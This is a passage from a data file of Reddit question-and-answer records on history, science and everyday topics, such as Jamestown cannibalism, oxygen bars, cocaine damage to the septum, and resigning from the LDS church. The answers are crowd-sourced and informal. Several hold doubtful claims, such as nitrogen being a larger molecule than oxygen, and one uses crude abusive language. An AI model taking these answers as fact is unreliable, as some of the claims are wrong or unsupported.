"http://ftr.wot-news.com/2014/04/04/ground-attack-aircraft-myth-of-the-tank-busters/"], "answers_urls": [["http://tankarchives.blogspot.ca/2016/06/cheating-at-statistics-across-front.html", "http://tankarchives.blogspot.ca/2014/04/the-problem-of-claims.html"], [], []]}
{"q_id": "5mdyfj", "title": "Is there a latest consensus on cannibalism at the Jamestown colony? Did it really happen? Was it widespread?", "selftext": "I know there is some archaeological evidence of the cannibalization of a 14 year, but is there written evidence? George Percy and some other sources have written about a man cannibalizing his wife, but I've read that these sources had reason for exaggeration. Namely, Percy's reputation and other political motives. \n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5mdyfj/is_there_a_latest_consensus_on_cannibalism_at_the/", "answers": {"a_id": ["dc40ds7"], "score": [6], "text": ["Rachel Herrmann published a great article about this a few years ago in *William and Mary Quarterly* - you can find it [here](_URL_0_).  She argues that while \"historians generally take the case of cannibalism in Jamestown for\ngranted\" in fact \"the existence of cannibalism in Virginia is not easily verifiable.\" While Herrmann acknowledges accounts like John Smith's:\n\n >  so great was our famine, that a Salvage we slew, and buried,\nthe poorer sort tooke him up againe and eat him, and so did divers\none another boyled and stewed with roots and herbs: And one\namongst the rest did kill his wife, powdered her, and had eaten\npart of her before it was knowne, for which hee was executed, as\nhee well deserved; now whether shee was better roasted, boyled\nor carbonado\u2019d, I know not, but of such a dish as powdered wife I\nnever heard of\n\nHerrmann argues that:\n\n > Cannibalism may or may not have taken\nplace during 1609\u201310; some evidence exists to suggest that it did, whereas\nother accounts might be cited to argue that it did not. Ultimately, there is\nno way to answer this particular question definitively... What historians can do is consider the various accounts together and acknowledge that cannibalism should no longer be stated as a bare fact in the chronology of early Jamestown.\n\n**The kicker here** is that 2 years after Herrmann published, archeologists announced that they had uncovered **physical evidence of cannibalism:** the remains of a young girl (about age 14), who had very clearly been dismembered, and whose bones were found in a heap of bones from dogs, cats, and horses that had also been consumed during the starving time:\n\n > \u201cThe chops to the forehead are very tentative, very incomplete,\u201d says Douglas Owsley, the Smithsonian forensic anthropologist who analyzed the bones after they were found by archaeologists from Preservation Virginia. \u201cThen, the body was turned over, and there were four strikes to the back of the head, one of which was the strongest and split the skull in half. A penetrating wound was then made to the left temple, probably by a single-sided knife, which was used to pry open the head and remove the brain.\u201d\n\n > [...]\n\n > Lead archaeologist William Kelso today at a press conference at the National Museum of Natural History, we now have the first direct evidence of cannibalism at Jamestown, the oldest permanent English colony in the Americas. \u201cHistorians have gone back and forth on whether this sort of thing really happened there,\u201d Owsley says. \u201cGiven these bones in a trash pit, all cut and chopped up, it's clear that this body was dismembered for consumption.\u201d\n\n[source](_URL_1_)\n\nThe archeological evidence is pretty conclusive, and it's confirmation that settlers were desperate enough to eat other people (along with dogs, cats, horses, etc). But there's no real evidence how widespread it was.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jstor.org/stable/10.5309/willmaryquar.68.1.0047", "http://www.smithsonianmag.com/history/starving-settlers-in-jamestown-colony-resorted-to-cannibalism-46000815/#17sB7CzYFOWm03Wt.99"]]}
{"q_id": "9ewtst", "title": "when the distance between the gun and the target is very small, why is it called 'point blank' range?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ewtst/eli5_when_the_distance_between_the_gun_and_the/", "answers": {"a_id": ["e5s2ngv"], "score": [51], "text": ["\u201cPoint blank\u201d comes from the French \u201cpoint blanc\u201d or the \u201cwhite point\u201d, and represents a range where you don\u2019t have to adjust your aim for gravity or other factors like wind and can just aim directly at the white center of a target to hit bullseye."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1tuuue", "title": "how do i know my smartphone/tablet/laptop's front-facing camera and microphone isn't secretly recording what i do/say and sending it to apple/google/samsung/nsa/cia/fbi/rcmp/mi6/whoever else", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tuuue/eli5how_do_i_know_my_smartphonetabletlaptops/", "answers": {"a_id": ["cebntmn", "cebnvsu"], "score": [10, 7], "text": ["By making yourself and your phone matching tin foil hats! \n\nBut in all seriousness, you don't. But let's be realistic, some giant company isn't gonna give two caps about what you do and it's not even worth their time, there are 300 million people in America alone. ", "You don't really know. \n\nWhat you can definitely know is whenever your phone is transmiting \"something\" over the internet, but you can't reliably tell what that something is, unless you know all the relevant applications, but if it is a secret process it will use a custom encryption for it's TCP traffic anyway so you may, and i emphasize, you may be able to determine that your phone is sending \"something\" but not what that something is, if you know how each of the net processes in your phone formats their net traffic. \n\nAnd you aren't even being paranoid. Apple used to collect a log of everyplace you have ever been to, by making it's phones collect the information of all networks that you walked into, and then sending that log to Apple Servers. \n\nAlso partly relevant: People have been able to perform successful camera and microphone hacks in the past, so even if a big company doesn't spy on you, somebody might be, if you are currently connected to the internet. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1p5s3d", "title": "If the brain uses electrical signals, does it ever short circuit?", "selftext": " ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1p5s3d/if_the_brain_uses_electrical_signals_does_it_ever/", "answers": {"a_id": ["ccz30dx", "ccz9wpi", "ccza66w"], "score": [13, 2, 10], "text": ["electrical conduction occurs on a very local scale, within individual neurons - specifically, along the neuron's axon. the axon is insulated with *myelin*; this myelin preserves the electrical signal running down the axon. if something happens to the myelin, as in any number of [demyelinating diseases] (_URL_0_), the current bleeds into the extracellular space, and the signal weakens or is lost. this is effectively a neural short circuit..\n\n*edit*\n\nbased on what others are saying, maybe we should modify the analogy; either we're talking about short circuit as in electrical fault, in which case demyelination is more like a ground fault; or, we're talking about short circuit in a metaphorical sense, in which case sure you can bring up epilepsy, but i don't think there's a very close similarity there..", "It is better to think of the brain as electrochemical rather than purely electrical. An electric charge propagating down an axon is not quite like a current in a wire. There is a current, but the only reason it travels very far is that the passing current triggers a release of stored ions (potassium inside, and sodium outside) as it goes. The moving ions create more current, which releases more ions further down in a traveling wave called an action potential.\n\nA neuron is either on or off. While it can fire faster if strongly stimulated, it can't actually fire stronger. Either the action potential makes it down the line or it doesn't. A neuron will never short out. There are lots of other things that can go wrong with it, but it will never spark and smoke. This is just as well given that the system has to run inside a squishy bag of conductive fluid.\n\n\n", "Epileptic seizures could be considered a type of short circuiting. This is more structural and signal dampening issues though.  \n  \nI have to disagree a bit with the demyelination analogy though. A short circuit, to my mind, would have implied an action potential from one neuron \"incorrectly\" triggering an action potential in another. This, as far as I know, is quite unlikely to happen though as the membrane potential change does not cause a large enough ion shift to propagate in extracellular space very far. Another axon would have to be incredibly close to have a chance of a passive electrical propagation of the action potential into the next cell. \n  \nMyelin is indeed an insulator but loosing it does not cause \"short circuits\" per se with this definition. Not all neural axons have myelin."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Demyelinating_disease"], [], []]}
{"q_id": "21ngzy", "title": "How does cocaine cause a deviated septum?", "selftext": "What is happening in this system considering ALL physical processes (chemical, anatomical, etc.)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21ngzy/how_does_cocaine_cause_a_deviated_septum/", "answers": {"a_id": ["cgf8rxy"], "score": [2], "text": ["Cocaine, when first extracted, exists in the form of a salt, normally cocaine hydrochloride. This makes it very water soluble but when absorbed through the nasal mucosal membranes leaves trace amounts of hydrochloric acid behind. This in turn traumatizes the local tissue. The septum will begin to deviate as the cartilage weakens and loses its shape; after a while the septum will perforate. As the cartilage is injured it also has difficulty growing back because cocaine is a rather potent vasoconstrictor, chocking off local blood vessels and impeding healing.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1tma5t", "title": "I have always understood that Edward VIII had strong and somewhat active Nazi sympathies, but today I read that this is a fabrication. What is the truth?", "selftext": "My understanding has always been that Edward VIII and his wife, Wallis, were sympathetic to the Nazi cause and at times even actively promoted the Nazis. \n\nHowever today I read different. I'm finishing up British Kings and Queens (2002) by Mike Ashley. On page 398, Ashley makes the argument that Edward held no such sympathies. Instead, Ashley argues that Edward embarked on a single peacekeeping mission to Germany in 1937 and that the Nazis used this visit, against Edward's consent, for propaganda purposes. This, Ashley says, caused a false rumor that Edward was a Nazi sympathizer. \n\nWhere does the truth lay? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tma5t/i_have_always_understood_that_edward_viii_had/", "answers": {"a_id": ["ce9hrui"], "score": [61], "text": ["The information this author had is outdated. The FBI released files relating to Edward and Wallis in 2002 and 2003 under the American freedom of information act - these show that she was known to have very strong Nazi sympathies and connections that Edward shared. This included a past love affair with Ribbentrop and discussions of how to undermine the allied war effort. Roosevelt was sufficiently concerned by this to order them to be closely watched and the British government arranged for them to be in out of the way places such as the Bahamas as much as possible. \n\n_URL_0_\n\n_URL_1_ \n\nThe guardian article contains links to the original FBI documents. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://news.bbc.co.uk/1/hi/uk/2644123.stm", "http://www.theguardian.com/uk/2002/jun/29/research.monarchy"]]}
{"q_id": "3baav4", "title": "why is a blowjob called a blowjob when the appendage in question is being sucked? probably nsfw", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3baav4/eli5_why_is_a_blowjob_called_a_blowjob_when_the/", "answers": {"a_id": ["cskcd2p", "cskcr3c", "cskcre0", "cskevr7", "cskf1w2", "cskjpkv"], "score": [114, 5, 2, 14, 6, 2], "text": ["In Britain an old nickname for a penis was \"whistle\". A common phrase was \"how about you blow my whistle\" as asking for a \"blow job\". Over the last two centuries \"Blow job\" stuck around while naming your dick \"whistle\" didn't.", "I have the same sort of questions about \"taking a piss\" (when you're actually giving) and \"giving head\" (when you're really taking). ", "In my country we have a word for it, that translates as \"pump\". Which, in my opinion, is more accurate. But I've always thought that blowjob was a short term for below-job, some sort of dad joke which lose control over the years ", "I have no proof of this, but I always imagined it was a mispronunciation of \"below job\" that was never corrected. Originating with brothel owners and pimps going something like, \"Trixie, there's a hand job for the guy by the fireplace, Joanie there's a below job for the guy at the table in the back.\" ", "A man was walking past the bunks on a train in the middle of the night to use the restroom. As he walked past the last one he heard, \"Suck Betty, suck! Blow is just a figure of speech!!\"", "I've sometimes wondered how many first-timers took the word literally and what adverse results ensued. Hell, maybe it should be a thing.\n\nEdit: Gentlemen, **don't ever** blow into the lady's vagina. It can cause an air embolism and she can die."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "9u94v1", "title": "what is the blizzard/diablo rage about?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9u94v1/eli5_what_is_the_blizzarddiablo_rage_about/", "answers": {"a_id": ["e92ifrw", "e92ihht", "e92ilr6", "e92kkwi", "e92mq6q", "e92rvoa"], "score": [7, 3, 39, 21, 5, 2], "text": ["Diablo fans have been waiting years for a new version of Diablo. So when Blizzard leaked that they were going to make a big, new Diablo announcement, players got excited.\n\nHowever, what Blizzard actually announced is that they were going to have a Chinese mobile developer re-skin an existing game and slap the 'Diablo' label on it, fans were highly disappointed. Not only did they not want a mobile game, they really didn't want a generic copy of an existing mobile game masquerading as a 'new Diablo game'.", "They announced a new diablo mobile game called diablo immortal. They hyped up news about diablo being at blizzcon only to showcase that they outsourced to a chinese company to reskin that companies current mobile game \"champions of light\" into something diablo esc. So no only did they hype up something that nobody really asked for, they outsourced to a company that's literally all about microtransactions and that is why people are mad. ", "There is a popular game series called \"Diablo\". It has been a while since the last release of the game (6 years) and people were sort of expecting a new version.\n\nInstead Blizzard decided to announce a mobile game based on the IP. Mobile games are not at all their usual audience, all the other games being PC-based. Mobile games also are notorious for having extremely thin gameplay and a focus on micro-transactions to nickel and dime people.\n\nTo make matters even worse Blizzard didn't even actually make the game themselves, they farmed it out to some Chinese company. That company basically re-skinned an existing game they had made, not even bothering to change the user interface, and just called it \"Diablo\" by changing some textures and models. It isn't a new game, it isn't a Blizzard game, it is just repainted Chinese mobile trash.", "You wanted Star Wars Episode 7, you were hyped for Star Wars Episode 7, they showed the Star Wars logo, but then you instead got a Jar Jar Binks Adventure. ", "Blizzard is a company who wants to make money, mobile games make money so them releasing a mobile game isn't the problem really, it's *how* it was announced.  \n   \nBlizzard built up a loyal fanbase due to their various games which are primarily PC games, you could say Blizzard is synonymous with PC gaming.  \n  \nBlizzcon is an event for those loyal fans, a paid event BTW. Blizzard has teased that Blizzcon would have an announcement regarding the franchise Diablo, this excited those loyal fans *greatly*.  \n   \nSo when that announcement turned out to be a mobile game to say these excited fans were disappointed is a huge understatement. The tone-deaf reaction to this displeasure from the developers only exacerbated the situation.  \n   \nThis has really been a disaster for Blizzard and should not have happened, the fact it has means they've massively misunderstood their audience.", "**Please read this entire message**\n\n---\n\nYour submission has been removed for the following reason(s):\n\n* Recent/current events are not allowed on ELI5. First, these are usually asking for factual answers or opinions. Additionally, information about these events is usually still developing , making objective and accurate answers difficult (Rule 2). \n\n\n* Recommended subreddit(s): /r/OutOfTheLoop\n\n---\nIf you would like this removal reviewed, please read the [detailed rules](_URL_1_) first. If you still feel the removal should be reviewed, please [message the moderators.](_URL_0_?)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.reddit.com/message/compose?to=%2Fr%2Fexplainlikeimfive&amp;subject=Can%20you%20review%20my%20thread", "https://www.reddit.com/r/explainlikeimfive/wiki/detailed_rules"]]}
{"q_id": "4s4hyl", "title": "how will the update to the final rule of the flsa affect my salary?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4s4hyl/eli5how_will_the_update_to_the_final_rule_of_the/", "answers": {"a_id": ["d56gug3", "d56h537", "d56hhvp", "d56iork", "d56k0bp", "d56l9rv"], "score": [9, 2, 23, 5, 2, 2], "text": ["That would be a big jump to $47k, so most likely they will convert you to hourly. I imagine you really should've been non-exempt all along.  As for OT, they have to pay you according to the law. It is possible they would not let you work OT to keep cost down, but the work needs to get done so maybe limited OT. \n\nI don't see any logic in firing you, they would have the same issue with your replacement.", "What is this new Rule? ", "First, yes, if nothing changes then you would have to get paid for the overtime that you work.\n\nOn the other hand, you work for people who have you work 50+ hours for $28k salary.  That's all I need to see. Yes, they are going to fuck you. You're bent over with a dick in your ass right now, the only thing that's going to change about that is the position that they're fucking you in. ", "Hi /u/newsoulsam. It's hard to know exactly how the change will affect you because your company has some options when deciding how to comply with the ruling. They could simply convert you to hourly at your current rate of pay. They could also increase your rate of pay to the new salary threshold of $47,476. It's unlikely that they would increase your pay beyond the required minimum. They could also change your employment agreement to a 50 hour workweek and pay you 1/2 time for any hours worked between 40 and 50, and time and a 1/2 for hours worked over 50. \n\nYour company has until December 1 to comply. Administratively and financially, this will be a big deal for employers so your management team is probably working through the logistics now.\n\nFeel free to let me know if you have any more questions! ", "Is anyone getting info that their company is planning to change things because of this rule?  I haven't heard squat.  I went to lunch a few weeks ago with a few young engineers who should probably be affected and their boss.  None of them had heard of this ruling.  Any changes would be an unbudgeted expenditure and would most likely reduce the amount available for raises for those above the limit (me).  So I want to know what is going on.", "The FLSA is toothless and unenforced, so don't expect anything to change.\n\nSee: unpaid internships"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3swftj", "title": "why do people need attorneys and letters to resign from the lds church?", "selftext": "I was reading a couple of articlee on the recent wave of resignations of former members of the LDS church. Something that caught my attention is that lots of them submit letters drafted by their attorneys. Why do they need to do this? Why can't they just say they're leaving?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3swftj/eli5_why_do_people_need_attorneys_and_letters_to/", "answers": {"a_id": ["cx0ydnu", "cx1066y", "cx10m8e", "cx10u6v", "cx10vkm", "cx11gvw", "cx11i97", "cx11vg9", "cx12cbj", "cx12e9h", "cx12l2s", "cx13bix", "cx13k6l", "cx18cyy", "cx1c7o7", "cx1drho", "cx1gj2m", "cx1mtyd", "cx1qr9u", "cx1x0dw"], "score": [364, 51, 40, 2, 29, 123, 6, 4, 3, 11, 7, 9, 7, 4, 4, 6, 2, 2, 5, 2], "text": [" > \u201cIt\u2019s extremely difficult because your entire community is ingrained within the church. Your local leaders may show up at your house, try to schedule meetings with you to come back, your family and friends could learn embarrassing details about your life,\u201d Naugle says. \u201cThere\u2019s no easy way out.\u201d\n\n[Source](_URL_0_)\n\nSo basically it provides a way to \"get of the records* and assure your local pastor won't be going door to door trying to recruit", "[This](_URL_0_) site gives detailed instructions on how to resign.  It's not hard.", "/u/bertbob has it right. its not hard, those people were just being anal about getting their records removed from the church.\n\nalso, my mother got her name removed from the records of the LDS Church, and as a result, she didn't need a lawyer, just to write a letter clearly stating her intentions. It took time, but no lawyer was necessary.", "They dont. They also don't need to hold a protest at a temple, but I've heard people are doing that too.", "They don't. Normally you send a letter, the Church sends a letter back (or your bishop calls you) to say, \"are you sure?\" And then you say, \"yeah\", and then your name gets taken off the records.\n\nI've heard stories of the process taking a little while, so maybe these guys wanted to make the letters sound extra official and intimidating to make it happen faster; but ordinarily it isn't necessary.\n\nsource: lots of exmormon family", "The actual resignation process is doable by a regular person, but it often takes several months for the church to complete it, and some local leaders give people a hard time: call their family members, visit unannounced, drag their feet, contact despite being asked not to, etc. In most cases, the resignation does go through eventually, but it can be a very emotional and distressing process that takes 3+ months.\n\nThe attorney (/u/chubsgato) helping people out has been getting confirmation letters as quickly as a week or two, usually without further contact of local leadership. In other words, the LDS Church pays attention to lawyers because they're terrified of being sued for doing the things listed above.\n\nTL;DR - It's not necessary, but it's been effective and helpful to a lot of folks.", "It's not difficult at all.  My husband and I left the church via email.  The branch president insisted we meet to make sure we are certain about leaving.  Until we finally got our confirmation letter that we were officially apostates, we were hounded about the decision.  Then once it was final, every Mormon we knew disappeared from our lives with the exception of my Mormon parents-in-law and sister-in-law.  But our relationship has never been the the same since and likely never will be.  You don't just stop being a member.  You lose your family, friends, and community.  It was incredibly difficult and you second guess yourself because you're worried about losing your lifestyle, commaraderie, and community.  That's why so many members become inactive instead of becoming apostates. Getting your name off the books isn't difficult though.  ", "I dont understand the whole resignation thing.  Why would you give the Mormons that kind of authority.  The records they have hold no power over me.  \n", "I told a pair of missionaries that I wasn't ever really a mormon. I am a member of a family of mormons from the very early in its history. I was baptized at a young age, but I never took there \"religion\" seriously. So, they told their local bishop, and they started their investigation that lead to the \"trial\". I received (and ignored) the summons. They went through their official process and sent me an official document with their \"verdict\".", "Lots of great reasons already listed here. Thought I'd throw out one more: some people were victims of abuse in the church. Forcing them to speak with the church in order to remove their names can sometimes reopen old wounds associated with the church. By using an attorney, the victim is protected and doesn't need to speak with any of their abusers in order to remove themselves.", "My mom was raised Mormon.  Really Mormon.  Not compound-and-long-dresses Mormon, but still baptized-on-weekends-in-the-name-of-dead-people Mormon.  She hated it, and when she married my non-Mormon dad when she was eighteen, she thought that would get her out of the church.\n\nInstead, they pursued her for years.  She asked them to just excommunicate her so she'd be done with it, but they refused.  It wasn't until she had my brother and I baptized in the Episcopalian church they finally said, fine, you're excommunicated.  She was in her early 30's by then.\n\nThey do not like to lose one of their own.  \n\nI imagine if she'd had the option of writing up a legal letter saying, \"It's over, I'm done, leave me alone forever,\" she would've done just that.", "One reason, among others, that they can make it difficult to leave is they want their membership number to be as high as possible. \n\nThis fulfils prophesy that the Mormon church will one day dominate the earth. It also gives them more clout as a group. \n\nThey officially report a membership of about 15 million. They don't mention that a sizeable chunk of that number has left and no longer consider them Mormon but haven't gone through the process of getting their names removed. ", "Had some trouble with my s/o and this. She has never been a practitioner, but was born into a family of them. They have -all- of her info, and had tracked us through 2 different moves. I sent 2 letters they claim to have not gotten. After some research I found out who the local (been a while, think this is his title) Bishop was. I paid him a visit in person with two letters. One stating that she is in no way a part of the church, and another a cease and desist styled letter I had an attorney write up. Fucking cults. What really bothers me is that they keep track of your birth records and shit too. They know we now have a daughter and I wouldn't be surprised to find them trying to get in touch with her someday. Fucking cult.", "You don't need an attorney.  You do need to inform the church that you want to be removed from the membership rolls.  I sent mine via email and was notified by Salt Lake City a few months later.\n\nMy wife, on the other hand, they slow walked that one.  I wonder why?  Need to make sure they have enough available women in heaven I guess. /snark", "Because the \"church\" is a cult and is trying to either keep their members or their members' money.", "I was at the mass resignation yesterday to support several friends who wished to resign, and they wanted the formal, notarized letter from the lawyer to make clear to the Church that they did not want any contact or harassment about the decision.  In one case, my friend also wanted to prevent the Church from informing their family about their resignation, since the rest of their family is very devout Mormon and it would upset them deeply. It wasn't a stunt for attention at all, and in fact it was a seriously thought through decision for my friend. \n\nIn my case, I can confirm that the church WILL find you and harass you even after decades of inactivity, and without contact through relatives. I moved back into Utah after living in another state, and I got a birthday card out of the blue from someone saying they were \"my\" relief society president and hoped I would be checking in to the local ward soon. I said \"Oh the hell you are\" and resigned the next day. For the record, I hadn't stepped foot inside a Mormon church or had any contact with them whatsoever for over two decades. No relatives would have had my address, my grandparents were all dead, my mother was dead, and my dad didn't know where I lived either. So, to have a stranger not only have my name and address, but my birthdate as well, that felt very creepy and stalker-ish to me. I was relieved to get my letter saying my information was removed.  ", "I did it. I have friends who did it. No attorney is required. Just write a letter. They responded within a few weeks, iirc.", "You don't need an attorney. My wife resigned from the lds church without too much fuss. Iirc she just sent a letter.", "When I first left the church, I felt no need to officially strike my name from the records. I told anyone who might be inclined to think \"Where's /u/loopingpoops ? Maybe I should go check on him at his home\" how I felt and that I no longer considered myself Mormon. Mormons of course spread the tiniest bits of news like wildfire and I'm sure that it was well-known by my entire branch within 48 hours. Had a few of them contact me, mostly to tell me that I'm making a mistake or that I'll come back one day and regret everything. Pretty annoying, but it only happened for the first couple of days. I didn't feel like writing any letters of resignation or anything; I'd moved on. Fast forward a few months and suddenly I'm getting texts and phone calls and eventually home visits imploring me to reconsider. It was all very manipulative as well; \"If you truly didn't believe, then why have you not yet stricken your name from the records? You hesitate.\" and \"You seemed so much happier when you came to church\" (which is true) along with all the other logically fallacious bits of rhetoric that anyone who's spoken with missionaries should be familiar with. Ultimately, their pestering drove me to write up a letter and hand-deliver it to my branch president. The only contact I've had since then was a letter notifying me that my resignation had been processed. It's really not a hard process. Probably helps that my family wasn't Mormon, though. It's not hard, but it's damned annoying if you don't do it.", "Mormon churches aren't operated as an opt-in system. They'll baptize dead people in effigy out of the obituaries. That's how little esteem they hold for your choice to opt-out, and consistently you have to put them in a position where they're acutely aware that they will get sued for harassment if they keep trying to get at ya' to get them to stop trying to get at ya'."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ibtimes.com/mormon-mass-resignation-highlights-harsh-struggle-members-face-when-leaving-lds-2184297"], ["http://www.mormonnomore.com"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4z2ari", "title": "How was the sex life of the Ottoman Sultan?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4z2ari/how_was_the_sex_life_of_the_ottoman_sultan/", "answers": {"a_id": ["d6th6zk"], "score": [2], "text": ["Since this is a question about the sex lives of Sultans, did any of them ever have any male slaves for sex, or was it 100% female slaves? If so, how was it seen?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ybjj2", "title": "What factors determine which language is spoken after a major conquest (that of the conquerors, or that of the conquered)?", "selftext": "I've always been a bit puzzled in how much of a coin toss it seems to be. For example:\n\n* Romans conquer Gaul. Gauls end up speaking a mostly Romance language. \n* Anglo-Saxons conquer Southern Britain. Southern Britain ends up speaking a Germanic language.\n* Franks conquer Roman Gaul. They abandon their Germanic language for Gallo-Romance.\n* Normans \"conquer\" northern France. They abandon *their* Germanic language for Gallo-Roman\n* Normans conquer England. English mutates, but remains a mostly Germanic language.\n\nI can't seem to find a rule of thumb or common element there that would predict which language will become dominant. Does it have to do with the proportion of the invading population compared to locals? Does it have to do with which group is more socially advanced? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ybjj2/what_factors_determine_which_language_is_spoken/", "answers": {"a_id": ["cfj5t73"], "score": [3], "text": ["There is no real rule of thumb. It depends on the balance of power and the prestige of the various languages, although population size can have an influence. For instance, Gaul was romanised because the Roman culture became the more prestigious one in the region. So first the local elite started speaking Latin, and then it seeped down to the rest of the population. By the time the Franks came, Latin was the still the language of prestige (since the Roman empire still existed), and Latin was also the language of the majority of the population, so they adopted Latin.\n\nIn Britain on the other hand, Latin had never rooted as much, and the Anglo-Saxons brought a new culture of prestige, so over time their language became the prestigious one.\n\nUltimately, it is impossible to predict, as it always is with language change. Prestige and population size are important, but it also depends on how stubborn people are, how much communication there is between the speakers of the different languages, how much a ruler might press the use of his native language, and all kinds of factors."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "itm1u", "title": "How healthy are \"oxygen bars\" and the like?", "selftext": "I've heard that breathing pure oxygen for too long can damage the lungs, but I was wondering about how beneficial (or maybe even harmful) oxygen bars really are.\n\nI also came across a 'liquid oxygen' product in the airplane catalog today, and it apparently can be drunk or placed under the tongue. The advertisement claimed that it could help skin, re-energize you, etc. What exactly is this?\n\nThanks ahead of time for any input!\n\nEDIT: I realize that oxygen bars aren't 100% oxygen, but do they do they actually do any good? And does the liquid oxygen actually have any effect?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/itm1u/how_healthy_are_oxygen_bars_and_the_like/", "answers": {"a_id": ["c26jc5s"], "score": [18], "text": ["Certified Respiratory Therapist here - 100% oxygen can be fairly toxic to the system, as it produces a while mess of free radicals that race around your system damaging cells.  Also, the air we breathe normally is 78% nitrogen, which is a large molecule than oxygen.  This helps splint the lungs open, as they have no musculature to do it themselves, and past the first several generations of bronchi, no cartilage to help support, either.  Breathing 100% oxygen washes this nitrogen out of your lungs, and as a condition called resporbtion atelectasis can result, which is basically your lungs closing in on themselves.  Lastly, your drive to breathe is regulated by the amount of CO2 in your body.  People with chronically elevated CO2 levels (smokers, people with Chronic Obstructive Pulmonary Disease, etc.) their bodies adapt and their drive to breathe can switch to rely on oxygen levels.  Flood a system like that with too much oxygen, and it will confuse the body into thinking it is doing fine, and will shut down the respiratory drive.\n\nedited to add:  Apparently (according to [wiki](_URL_0_), most oxygen bars use commercial (not medical) grade concentrators, and so the amount of oxygen being delivered is probably not  100%.  Still oxygen, in the US, is considered a drug to be prescribed by a physician."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Oxygen_bar"]]}
{"q_id": "6suv0y", "title": "why do airplane seats have small slips of fabric on the headrest?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6suv0y/eli5_why_do_airplane_seats_have_small_slips_of/", "answers": {"a_id": ["dlfodx1", "dlfogar", "dlfogro", "dlfs53v", "dlftczy"], "score": [3, 10, 4, 3, 3], "text": ["Because you would be amazed (and disgusted) by how filthy some peoples hair is. They help make cleaning easier.", " >  Why do airplane seats have small slips of fabric on the headrest?\n\nThis strip of fabric can be removed and cleaned while a replacement piece is installed in short order. While people wear relatively clean clothes their heads are covered in oily hair, residue from which could build up on the headrest.", "The headrest is the part of the chair that gets the most dirty, because of the oils in your hair. The slips of fabric can slip off and all be thrown into a giant washing machine. This is a lot easier than cleaning each chair individually while it's still in the plane.", "It is to make them easier to clean.\n\nIn general, the clothes we wear protect things like chairs from the oils, sweat and so on that our bodies produce, so chairs generally stay fairly clean.\n\nWe generally don't wear hats however, so when you lean back on a chair you are running the oils and dirt on your hair into the chair, and so this bit will tend to get dirty.\n\nRather than washing the whole seat cover, the small cover is used for the headrest so that it can be quickly and easily swapped around and washed when necessary", "They're called [antimacassars] (_URL_1_), and date back to the days when men wore goop on their hair, such as [Macassar Oil] (_URL_0_), and it would stain the furniture,"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Macassar_oil", "https://en.wikipedia.org/wiki/Antimacassar"]]}
{"q_id": "4w87w2", "title": "from a single cell to a human - is every cell's behavior, task, etc all governed by dna and more importantly, how does dna interact with the cell to control it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4w87w2/eli5_from_a_single_cell_to_a_human_is_every_cells/", "answers": {"a_id": ["d64wdz2"], "score": [10], "text": ["So the cool thing about biology is that we're all just \"chemistry buckets\". We're just a lot of very advanced chemistry, and chemistry dictates everything we are.\n\nProteins are a family of molecule that are actually very diverse. They can make structures, like cell walls and fingernails. But again -- just chemicals. They're not \"smart\". A protein has a job to do, and it does it. Keratin, which is one of the proteins that make up hair and nails, is shaped so that it lines itself up into structures. \n\nOther proteins carry \"messages\" from one place to another. Really that just means that some protein is sent into the blood, where it travels the whole body -- cause again, just a sack of chemistry -- and eventually it'll find a place that it fits. And when it does \"fit\" into something, that something may react, maybe by producing other chemicals.\n\nProteins also break down other materials (enzymes), can attack pathogens, and do lots more. \n\nDNA itself is the protein cookbook. It's also just a chemical; a huge one, but a chemical nonetheless. In labs, to inspect DNA, they actually grow more of it. You just take DNA, and throw it into a soup of other chemicals that replicate DNA (those same chemicals found in the body) and then you cook it, and boom, you have a lot more DNA.\n\nEither way, there's another chemical that interacts with DNA. It latches onto a bit of DNA, takes its shape, falls away and then another chemical comes in and builds a protein from that shape. It's almost like taking a cast and then a mold of something you want to sculp. The DNA is huge and \"codes\" lots of different proteins -- all your proteins, in fact -- but the RNA only needs to interact with a section at a time. \n\nAnd remember still, nothing 